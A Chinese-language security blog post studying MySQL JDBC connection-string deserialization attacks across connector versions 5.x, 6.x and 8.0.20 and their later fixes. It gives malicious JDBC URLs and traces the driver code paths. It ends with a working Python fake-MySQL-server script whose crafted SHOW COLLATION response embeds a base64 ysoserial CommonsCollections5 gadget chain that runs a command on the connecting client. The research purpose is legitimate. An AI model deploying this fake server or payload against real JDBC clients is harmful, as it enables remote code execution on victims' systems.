Mysql JDBC 连接串反序列化学习~
2023-05-25 02:45:42

前言

上一篇复现blackhat议题就是讲的 JDBC 的一些引擎,但是上一篇没有提到 Mysql,也许是因为 Mysql 已经被开发完了,但是我只知道一个大概不太清楚具体原理,所以复现学习一下

参考的 MYSQL JDBC反序列化解析 这篇文章

写的有很多不好的地方,别骂我~~~

一个大概的复现

这里先用一个已有的仓库:

https://github.com/fnmsd/MySQL_Fake_Server

也正是因为这个攻击起来才方便很多,不然的话像上篇那个 blackhat的,都没有现成的工具,麻烦死了~

5.X 的版本

首先贴一下 Maven:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.20</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

然后来一个最直接的串:

1
jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&user=cc5

这里用的 java8 的高一些的版本启动的,好像打不了cc1和cc3,所以用了cc5,具体为啥就不分析了,不是这次的主题。

首先怎么找 JDBC 的连接类:

image-20230525025429942

比如这个,就直接进去这个 Driver,然后找 connect 函数:

image-20230525025454552

发现没有,然后去父类就发现了。这是比较快的一个方法了,因为 java.sql.getConnection 会调用 Driver 的 connect 函数。

此时就在: com.mysql.jdbc.NonRegisteringDriver#connect

执行到:

image-20230525025622164

进入这个类:ConnectionImpl,这个类继承至 ConnectionPropertiesImpl

这个 PropertiesImpl 类呢就是各种参数的初始化了,其中就有 autoDeserialize:

image-20230525025815611

之所以说一下这个初始化参数的类,是因为说不定有机会可以研究一下别的参数,所以这个类还是挺有价值的。

那么在哪里调用的反序列化呢,我不太相信发现的人是一点一点往下跟的,所以我也决定也想想方法逆向一下,在这个 ConnectionPropertiesImpl 类中有个函数 getAutoDeserialize,然后使用 jd-gui,搜索哪里调用了这个函数:

image-20230525030155074

可以看,非常好跟踪到,因为就这一处,

函数位置:com.mysql.jdbc.ResultSetImpl#getObject(int)

细节先不看,在这里下断点,然后看看调用栈就好

对了,这里简单题一下,就是在ConnectionImpl 的初始化中做完获取 user 和password 以后会建立连接:

image-20230525031204305

这个一看就是建立连接的函数,然后调用栈就是如下:

1
2
3
com.mysql.jdbc.ConnectionImpl#createNewIO ->
com.mysql.jdbc.ConnectionImpl#connectOneTryOnly ->
com.mysql.jdbc.ConnectionImpl#initializePropsFromServer

好了,到这就行,在这里你可以看到一个函数:

image-20230525031450041

(这里我为了截图缩了很多代码)

进入:com.mysql.jdbc.ConnectionImpl#buildCollationMapping

image-20230525031529837

此处就调用了 resultSetToMap:

com.mysql.jdbc.Util#resultSetToMap(java.util.Map, java.sql.ResultSet, int, int)

image-20230525031550167

就是这里调用的上面提到的 getObject:

image-20230525031038352

当然这都是逆向跟出来的,就是在 getObject 下个断点,就啥都知道了。

上面几张图的大概意思就是:当数据库连接成功后会执行 SHOW COLLATION,然后会调用 resultSetToMap 获取结果,这个resultSetToMap就会调用 getObject,然后通过特殊构造的返回值就可以反序列化了

那么为啥会有这个 buildCollationMapping 函数呢:

image-20230525031809451

5.1.11-5.1.18 以下版本

虽然版本很低了,但是也提一下吧,这里再贴一下连接字符串:

1
jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&user=cc5

这个连接串在 5.1.19 以下(不包含5.1.19) 是不会自动触发的

链接后都要查询,并不是说没有 SHOW COLLATION了,而是因为:

https://github.com/mysql/mysql-connector-j/compare/5.1.18...5.1.19#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL947

image-20230525033517503

左边是5.1.18,查询完后使用的是循环然后 getString 的方法,是没机会反序列化的。

右边5.1.19是查询完使用 resultSetMap,这才有机会反序列化。

但是的但是,如果把连接串改成:

1
jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=cc5

这里多加了个 statementInterceptors,如果加个这个的话那么在 5.1.11-5.1.18这几个版本也是可以做到反序列化的。

(这个 Interceptor 说白了其实就是查询以后,返回结果的时候会经过指定的 Interceptor,跟 Web 里差求不多的)

原理也很简单,执行语句的时候,首先是:

1
com.mysql.jdbc.StatementImpl#executeQuery

然后一直到:

1
2
com.mysql.jdbc.MysqlIO#sqlQueryDirect - >
com.mysql.jdbc.MysqlIO#invokeStatementInterceptorsPost

image-20230525035621247

这里判断拦截器不是空的话,就调用,我们看看 连接字符串 中的 interceptor:

1
com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess

image-20230525035727265

image-20230525035739904

好了,我想也不用多解释了。

5.1.10 及以下

那么为什么5.1.11一下这个拦截器不起作用了呢

经过查看发现 ServerStatusDiffInterceptor 这个拦截器的代码是没啥变化的,那么我们找到调用拦截器的地方,也就是刚刚提到的:

com.mysql.jdbc.MysqlIO#sqlQueryDirect

这个函数:

image-20230525040958930

可以看到这里的 statementInterceptors 竟然是空的,找到初始化 这个东西的地方,也就是 ConnectionImpl 这个类。

不卖关子了,对比一下两个版本就知道了:

image-20230525041122306

5.1.10版本是先createIO,也就是先连数据库再初始化赋值拦截器,高版本则反过来了,就这么简单的原因~

所以 5.1.10 以下执行个 select 123 就也能触发。

5.1.49 的修复

这个连接串一直到版本几呢,一直到 5.1.49,首先看看这个版本的拦截器:

image-20230525041546826

已经没有调用 resultSetToMap 了。

然后看看 ConnectionImpl 调用 SHOW COLLATION 的地方:

image-20230525041731322

发现又回到了最开始的 getString 的版本了。

(虽然我很像秉着来都来了的心态看看还有什么地方可以调用 getObject 的,但是毕竟现在是凌晨,改日再看

6.0.2 - 6.0.6 版本

在 6.0.2 到 6.0.6 版本中 SHOW COLLATION 还是可以的反序列化的,还是在这个函数:

com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping

image-20230525043359327

这里检测了如果开启了 detectCustomCollations 这个参数就会进入到下面了,就能反序列化了~

( 6 的版本没有 6.0.1 ,6.0.6以后也没有了~也就是这个 6.X 是全版本都有的)

8.0.20 及以前

连接串:

1
jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=cc5

这里重点就是 queryInterceptors ,其实就是 5.X 的 statementInterceptors,原理也是一样的,看拦截器就知道了:

1
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

image-20230525044635146

但是来到这的过程有一些区别

还是讨论这个函数:

com.mysql.cj.NativeSession#buildCollationMapping

这个函数中,现在是:

image-20230525045853818

首先这里不会再调用 resultSetToMap 了,所以第一种方法就没用了,第二种拦截器的方法呢,跟入:com.mysql.cj.protocol.a.NativeProtocol#sendCommand

image-20230525045936574

这里虽然用了 queryInterceptors ,但是他这里的类型是 Message,调用的是:

image-20230525050035406

这个是参数的 preProcess,我们要到的拦截器是:

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess

image-20230525050115194

这个参数的,说白了就是接受一个 SQL 字符串,不过还好下面也有执行的地方。

找到 buildCollationMapping 的上一个函数:

com.mysql.cj.jdbc.ConnectionImpl#initializePropsFromServer

在调用完 buildCollationMapping 后:

然后调用栈就是:

1
2
com.mysql.cj.jdbc.ConnectionImpl#handleAutoCommitDefaults ->
com.mysql.cj.jdbc.ConnectionImpl#setAutoCommit

image-20230525050710623

这里就执行的 execSQL 了。

然后跟 5.X 的函数虽然有些差别,但是大致原理差不多,最终到函数:

com.mysql.cj.protocol.a.NativeProtocol#sendQueryPacket

image-20230525050838298

然后把这个 query 传到 interceptor 的 preProcess 函数中,这个 LazyString 继承至 Supplier<String>:

image-20230525050944270

自然就进入了拦截器的:

image-20230525051004739

然后就反序列化啦~

8.0.21 修复

修复方法和之前一样,在拦截器中不再使用 resultSetToMap:

image-20230525051304386

构造一个自己的 Fake Mysql

既然来都来了,那么尝试自己写一个 Fake Server 触发反序列化吧~

关键代码

这里以 5.1.20 为例:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.20</version>
</dependency>

之前已经提到过了,反序列化的代码在:

com.mysql.jdbc.ResultSetImpl#getObject(int)

image-20230525171928362

首先要是 field 类型的 SQLType 的 -2, field 是从 this.fields 获取的。

这个 fields 是在哪里赋值的呢,在同类的:

1
com.mysql.jdbc.ResultSetImpl#getInstance(java.lang.String, com.mysql.jdbc.Field[], com.mysql.jdbc.RowData, com.mysql.jdbc.MySQLConnection, com.mysql.jdbc.StatementImpl, boolean)

image-20230525172120211

在这里下个断点:

使用正常连接串,账号密码要输入正确,然后开一个3306,等等要抓数据包:

1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=root&password=root

在这下了断点回溯两个函数后找到:

com.mysql.jdbc.MysqlIO#getResultSet

image-20230525172643933

这一看就是根据二进制数据进行解包了。

那么刚刚那个 SQLType 是什么时候赋值的呢

进入到 :com.mysql.jdbc.MysqlIO#unpackField

image-20230525173506727

(先知道这个 colType,不用计较是数据包的第几位,不急)

然后下面实例化一个 Field 类,会传入这个 colType:

1
com.mysql.jdbc.Field#Field(com.mysql.jdbc.MySQLConnection, byte[], int, int, int, int, int, int, int, int, int, int, long, int, short, int, int, int, int)

image-20230525174113475

首先根据这个 mysqlType 获取,这个 mysqlType 就是刚刚提到的 colType。

然后进入到函数:

com.mysql.jdbc.MysqlDefs#mysqlToJavaType(int)

image-20230525174509211

当这个这个 colType 是 255的时候,这个 sqlType 就能变成 -2 了

(当然,这个其实到后面是不行的,但是起码能让他变成-2,能进入那个 case 了。)

数据包分析

因为 Mysql 好像默认也不加密的,也没听说有什么类似 token 之类的验证,所以直接抓就完了:

image-20230525175301614

因为反序列化的点在 SHOW COLLATION 所以之前的数据我也不需要了解的太清楚。

根据我的猜测,大概就是:

首先客户端连接到服务器,然后服务器发送第一段包,这个包的含义可能是让客户端进行验证。

然后客户端发送密码,服务器验证,验证成功后服务器返回第二段。

然后这个时候客户端好像发送了 SHOW VARIABLES ,这个也不是我关注的点,所以我们直接把返回也复制即可。

不过这里还是稍微了解一下格式,就方便写接收数据的函数了:

image-20230525180028572

首先是三位的长度,然后是一位的 Pakcet Number,然后就是数据,我们也可以在 wireshark 中看到:

image-20230525180120103

然后无脑复制一下 wireshark 中的 hexdump 数据即可:

image-20230525180240154

复制四段蓝色的(也就是服务器发回给客户端的)数据,因为在 SHOW COLLATION之前还有一个 查询 auto_increment 的:

image-20230525180411191

写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

import base64
import binascii
import sys

sock = socket.socket()
sock.bind(("127.0.0.1", int(sys.argv[1])))

def recv_from_client(client):
packet_length = int.from_bytes(client.recv(3), byteorder='little')
packet_number = client.recv(1)
return client.recv(packet_length)
pass

hex_dump = [
"4a0000000a352e372e3238005f000000080f0f5563263f6d00ffffc00200ffc11500000000000000000000726e7350015b4e195b453320006d7973716c5f6e61746976655f70617373776f726400",
"0700000200000002000000",
"01000001025200000203646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730d5661726961626c655f6e616d650d5661726961626c655f6e616d650c2100c0000000fd01100000004200000303646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730556616c75650556616c75650c2100000c0000fd000000000005000004fe000022001a000005146368617261637465725f7365745f636c69656e7404757466381e000006186368617261637465725f7365745f636f6e6e656374696f6e04757466381b000007156368617261637465725f7365745f726573756c747304757466381a000008146368617261637465725f7365745f73657276657204757466381c0000090c696e69745f636f6e6e6563740e534554204e414d455320757466381800000a13696e7465726163746976655f74696d656f7574033132301900000b166c6f7765725f636173655f7461626c655f6e616d657301321c00000c126d61785f616c6c6f7765645f7061636b65740831363737373231361800000d116e65745f6275666665725f6c656e6774680531363338341500000e116e65745f77726974655f74696d656f75740236301900000f1071756572795f63616368655f73697a650731303438353736150000101071756572795f63616368655f74797065034f4646930000110873716c5f6d6f6465894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e150000121073797374656d5f74696d655f7a6f6e6503435354110000130974696d655f7a6f6e650653595354454d26000014157472616e73616374696f6e5f69736f6c6174696f6e0f52455045415441424c452d524541441d0000150c74785f69736f6c6174696f6e0f52455045415441424c452d52454144110000160c776169745f74696d656f75740331323005000017fe00002200",
"0100000101380000020364656600000022404073657373696f6e2e6175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a00000000005000003fe0000020002000004013105000005fe00000200"
]

s = sock.listen(1025)
client,x = sock.accept()
for raw in hex_dump:
client.send(binascii.unhexlify(raw))
print(recv_from_client(client))

image-20230525180620021

可以看到现在接收到了 SHOW COLLATION 的查询命令了,说明离目标不远了。

SHOW COLLATION 的返回构造

这里分析最后的数据包,就是发送 SHOW COLLATION 后,正常返回的数据包如下:

image-20230525180820721

可以在这里右键,分段复制出来:

image-20230525180847778

这个返回的数据包实在太长了,我们可以改短点先,首先复制这个 column count,然后这个 Number of fields 改成 1 即可,不需要那么多字段。

然后就是复制一段 field packet,也添加进去,然后 field pakcet 后面有一个 intermediate EOF这个也要复制出来

然后复制一个 row packet以及拖到数据包最后有一个response EOF

这样就返回就构造完成了。

在刚刚的 for 循环后面加上一段新的:

1
2
3
4
5
6
7
8
9
10
11
12
# column count
data = "0100000101"
# field packet
data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"
# intermediate EOF
data+="05000008fe00002200"
# row packet
data+="210000090f626967355f6368696e6573655f63690462696735013103596573035965730131"
# response EOF
data+="050000e7fe00002200"

client.send(binascii.unhexlify(data))

现在就不用分析那个 unpackField 了,直接在这里下断点:

com.mysql.jdbc.ConnectionImpl#buildCollationMapping

image-20230525182252323

可以看到返回成功了,说明起码构造的数据包整体是没错的,

进入 resultSetToMap ,注意这里传进 resultSetToMap 的 key 是 3,等等要用到的:

image-20230525182407930

进入 getObject :com.mysql.jdbc.ResultSetImpl#getObject(int)

image-20230525182522220

image-20230525182544210

这里抛出异常了,因为这里的获取的是 fileds 里的第三个,但是我们刚刚只复制了一个 fields。不过也很简单,直接把 column count 的 01 改成 03,然后复制三个 field packet 即可。

data 返回精修

然后就是最后的构造了,到了刚刚的 SQLTYPE:

image-20230525183402166

此时的 mysqlType 是 253,刚刚提到了要改成 255 就能变成 -2 了。

253 的 16 进制是 fd,直接把 field packet 的第三个 fd 改成 ff即可,但是改完之后会发现其实 255 不行, 255直接进入了第一个 if 了,我们要进入 else 才对

image-20230525183649065

再回到刚刚那个 Field 类:

1
com.mysql.jdbc.Field#Field(com.mysql.jdbc.MySQLConnection, byte[], int, int, int, int, int, int, int, int, int, int, long, int, short, int, int, int, int)

往下翻会看到还有个地方可以赋值 sqlType = -2:

image-20230525184111526

这里有两个点,一个是 isBinary ,这个 isBinary 通过函数:com.mysql.jdbc.Field#isBinary

image-20230525184152551

就是这个 colFlag 要大于等于 128:

image-20230525184341537

就是这里的 flag,刚刚改 type 位置的后面一位,默认是 01,改成 80(128的16进制) 即可。

然后还有个函数:com.mysql.jdbc.Field#isOpaqueBinary:

image-20230525184542411

这里两个点,一个 index 要是 63,一个是 MysqlType 是 254

这个MysqlType 就不用讨论了,index 的话往回跟跟就会发现,他是数据包里的:

image-20230525184718249

默认是 33(0x21),改成 63 (0x3f) 就好啦~

然后下面:

image-20230525185029400

这里读取到的数据是 49(0x31),这里已经是 row packet 部分了,看看数据包:

image-20230525185431093

这里有三个重点,第一个是 Pakcet Length,是整个 row packet 的长度,第二个 length 是这一列的长度,第三个是具体内容,稍微改改。

原本是:

210000090f626967355f6368696e6573655f63690462696735013103596573035965730131

row packet改成:

220000090f626967355f6368696e6573655f6369046269673502616103596573035965730131

这里 21 改成了 22,加了一位,然后01改成02,数据多加一位,再看看:

image-20230525185855314

可以看到成功了,这里判断第一二位是不是 -84 -19,其实就是判断 acedac,也就是如果是序列化数据就反序列化。

这里有个最后的问题,就是长度:

image-20230525190003794

我们把数据包指向这里会发现他只有一位,也就是顶多传 ff,也就是255个字节,那我反序列化数据肯定不止这么点。

这时候有两个方法,一个是读源码看看读取长度的时候是怎么处理的,因为肯定有传长数据的方法。第二个就是读协议看看,但是我找不到 协议格式,所以我去问了问 gpt:

image-20230525190306147

可以看到这里提到了如果长度大于 251,那么第一个字节就是 252,然后后面两个字节存储实际值。

把 row packet 改成如下:

1
2
3
send_data = b"\x61"*1000
# row packet
data+=(len(send_data)+0x22).to_bytes(3,byteorder="little").hex()+"090f626967355f6368696e6573655f63690462696735"+"fc"+len(send_data).to_bytes(2,byteorder="little").hex()+send_data.hex()+"03596573035965730131"

image-20230525191430666

成功~

最后就是把 send_data 改成 cc5 的链子即可:

image-20230525191653899

最后贴个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import socket

import base64
import binascii
import sys

sock = socket.socket()
sock.bind(("127.0.0.1", int(sys.argv[1])))

def recv_from_client(client):
packet_length = int.from_bytes(client.recv(3), byteorder='little')
packet_number = client.recv(1)
return client.recv(packet_length)
pass

hex_dump = [
"4a0000000a352e372e3238005f000000080f0f5563263f6d00ffffc00200ffc11500000000000000000000726e7350015b4e195b453320006d7973716c5f6e61746976655f70617373776f726400",
"0700000200000002000000",
"01000001025200000203646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730d5661726961626c655f6e616d650d5661726961626c655f6e616d650c2100c0000000fd01100000004200000303646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730556616c75650556616c75650c2100000c0000fd000000000005000004fe000022001a000005146368617261637465725f7365745f636c69656e7404757466381e000006186368617261637465725f7365745f636f6e6e656374696f6e04757466381b000007156368617261637465725f7365745f726573756c747304757466381a000008146368617261637465725f7365745f73657276657204757466381c0000090c696e69745f636f6e6e6563740e534554204e414d455320757466381800000a13696e7465726163746976655f74696d656f7574033132301900000b166c6f7765725f636173655f7461626c655f6e616d657301321c00000c126d61785f616c6c6f7765645f7061636b65740831363737373231361800000d116e65745f6275666665725f6c656e6774680531363338341500000e116e65745f77726974655f74696d656f75740236301900000f1071756572795f63616368655f73697a650731303438353736150000101071756572795f63616368655f74797065034f4646930000110873716c5f6d6f6465894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e150000121073797374656d5f74696d655f7a6f6e6503435354110000130974696d655f7a6f6e650653595354454d26000014157472616e73616374696f6e5f69736f6c6174696f6e0f52455045415441424c452d524541441d0000150c74785f69736f6c6174696f6e0f52455045415441424c452d52454144110000160c776169745f74696d656f75740331323005000017fe00002200",
"0100000101380000020364656600000022404073657373696f6e2e6175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a00000000005000003fe0000020002000004013105000005fe00000200"
]

s = sock.listen(1025)
client,x = sock.accept()
for raw in hex_dump:
client.send(binascii.unhexlify(raw))
print(recv_from_client(client))

# column count
data = "0100000103"

# field packet

data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"

data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"

data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c3f0060000000fe8000000000"

# intermediate EOF
data+="05000008fe00002200"

send_data = base64.b64decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAASb3BlbiAtYSBjYWxjdWxhdG9ydAAEZXhlY3VxAH4ALwAAAAFxAH4ANHNxAH4AJHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==")
# row packet
data+=(len(send_data)+0x22).to_bytes(3,byteorder="little").hex()+"090f626967355f6368696e6573655f63690462696735"+"fc"+len(send_data).to_bytes(2,byteorder="little").hex()+send_data.hex()+"03596573035965730131"
# response EOF
data+="050000e7fe00002200"

client.send(binascii.unhexlify(data))
Prev
2023-05-25 02:45:42
Next